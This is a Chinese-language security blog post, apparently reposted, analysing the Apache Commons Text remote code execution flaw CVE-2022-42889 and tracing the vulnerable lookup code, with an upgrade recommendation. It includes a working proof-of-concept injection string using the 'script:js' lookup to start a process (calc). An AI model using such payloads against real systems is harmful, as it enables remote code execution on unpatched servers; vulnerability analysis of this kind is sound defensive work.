Apache Commons Text RCE漏洞(CVE-2022-42889)分析
2022-10-27 08:34:58 Author: Z2O安全攻防(查看原文) 阅读量:42 收藏

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。

文章正文

漏洞介绍

根据apache官方给出的说明介绍到Apache Commons Text执行变量插值,允许动态评估和扩展属性的一款工具包,插值的标准格式是"${prefix:name}",其中"prefix"是用于定位org.apache.commons.text.lookup类,执行插值的是StringLookup接口,接口中定义了lookup方法。在1.5到1.9的版本中,默认的Lookup实例集包括可以导致任意代码执行的表达式,如javax.script、dns、url等加载方式。

影响范围

1.5 <= Apache Commons Text <= 1.9

组件使用介绍

Apache Commons Text组件通常在开发过程中用于占位符和动态获取属性的字符串编辑工具包,这里我搞了个Demo来简单介绍下使用方法:

import org.apache.commons.text.StringSubstitutor;class Demo{
public static void main(String[] args){
String resolvedString
= StringSubstitutor
.replaceSystemProperties(
"You are running with java.version = ${java.version} and os.name = ${os.name}.");

System.out.println(resolvedString);

final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
interpolator.setEnableSubstitutionInVariables(
true); // Allows for nested $'s.
final String text = interpolator.replace("Base64 Decoder:${base64Decoder:SGVsbG9Xb3JsZCE=}\n"
+ "Date: ${date:yyyy-MM-dd}\n" + "DNS: ${dns:address|apache.org}\n"
+ "Environment Variable: ${env:USERNAME}\n"
+ "Script: ${script:javascript:3 + 4}\n" + "System Property: ${sys:user.dir}\n");
System.out.println(text);
}
}

 

因此该组件常用于数据库查询前的语句替换,或者页面输出的时候替换。

漏洞复现

import org.apache.commons.text.StringSubstitutor;class Demo{
public static void main(String[] args){
StringSubstitutor stringSubstitutorInterpolator
= StringSubstitutor.createInterpolator();
String payload
= "${script:js:new java.lang.ProcessBuilder(\"calc\").start()}";
stringSubstitutorInterpolator.replace(payload);
}
}

代码分析

先从StringSubstitutor.replace方法中跟入

public String replace(final String source) {
if (source == null) {
return null;
}
final TextStringBuilder buf = new TextStringBuilder(source);
if (!substitute(buf, 0, source.length())) {
return source;
}
return buf.toString();
}

调用了substitute解析传入的字符串

方法中解析了头部和尾部的${},把其中的值取出来进一步解析

protected String resolveVariable(final String variableName, final TextStringBuilder buf, final int startPos,
final int endPos) {
final StringLookup resolver = getStringLookup();
if (resolver == null) {
return null;
}
return resolver.lookup(variableName);
}

这里获取的StringLookup就是之前使用StringSubstitutor.createInterpolator()创建实例化对象的地方

public static StringSubstitutor createInterpolator() {
return new StringSubstitutor(StringLookupFactory.INSTANCE.interpolatorStringLookup());
}

并在构造方法中调用了this.setVariableResolver(variableResolver)设置VariableResolver为InterpolatorStringLookup类,之后继续跟入InterpolatorStringLookup的lookup方法中。

@Override
public String lookup(String var) { //var="script:js:new java.lang.ProcessBuilder("calc").start()"
if (var == null) {
return null;
}
final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
if (prefixPos >= 0) {
final String prefix = toKey(var.substring(0, prefixPos));
final String name = var.substring(prefixPos + 1);
final StringLookup lookup = stringLookupMap.get(prefix);
String value
= null;
if (lookup != null) {
value
= lookup.lookup(name);
}
if (value != null) {
return value;
}
var
= var.substring(prefixPos + 1);
}
if (defaultStringLookup != null) {
return defaultStringLookup.lookup(var);
}
return null;
}

方法截取了":"前面的script关键词,并以此为索引获取对应的StringLookup对象

可以看到系统支持的类型有18种操作方式

并在后续调用了ScriptStringLookup.lookup方法

@Override
public String lookup(final String key) {
if (key == null) {
return null;
}
final String[] keys = key.split(SPLIT_STR, 2);
final int keyLen = keys.length;
if (keyLen != 2) {
throw IllegalArgumentExceptions.format("Bad script key format [%s]; expected format is EngineName:Script.",
key);
}
final String engineName = keys[0];
final String script = keys[1];
try {
final ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName(engineName);
if (scriptEngine == null) {
throw new IllegalArgumentException("No script engine named " + engineName);
}
return Objects.toString(scriptEngine.eval(script), null);
}
catch (final Exception e) {
throw IllegalArgumentExceptions.format(e, "Error in script engine [%s] evaluating script [%s].", engineName,
script);
}
}

之后的代码就是获取js脚本引擎,并通过ScriptEngine.eval的方法执行

关于这个引擎的使用和介绍可以看这篇文章:https://www.qieseo.com/329754.html

Nashorn扩展可以使JVM在运行时动态调用JavaScript脚本的能力,大大提升了开发时的灵活机动性。

修复建议

升级版本到Apache Commons Text 1.10.0版本。

原文地址:

https://www.cnblogs.com/wh4am1/p/16795499.html

(如有侵权,请联系删除)

技术交流

交流群

关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。

知识星球

星球不定时更新最新漏洞复现,手把手教你,同时不定时更新POC、内外网渗透测试骚操作。涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全等

关注我们

关注福利:

回复“app" 获取  app渗透和app抓包教程 

回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。

回复“书籍" 获取 网络安全相关经典书籍电子版pdf


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247489524&idx=1&sn=3af56ab54db06ad3ac46ef0b03d2f2e3&chksm=cea8fcb4f9df75a2260f41e844bace1ba0258acfbd72e5076d8a53e69a0e7f1dec7c9fb127a3#rd
如有侵权请联系:admin#unsafe.sh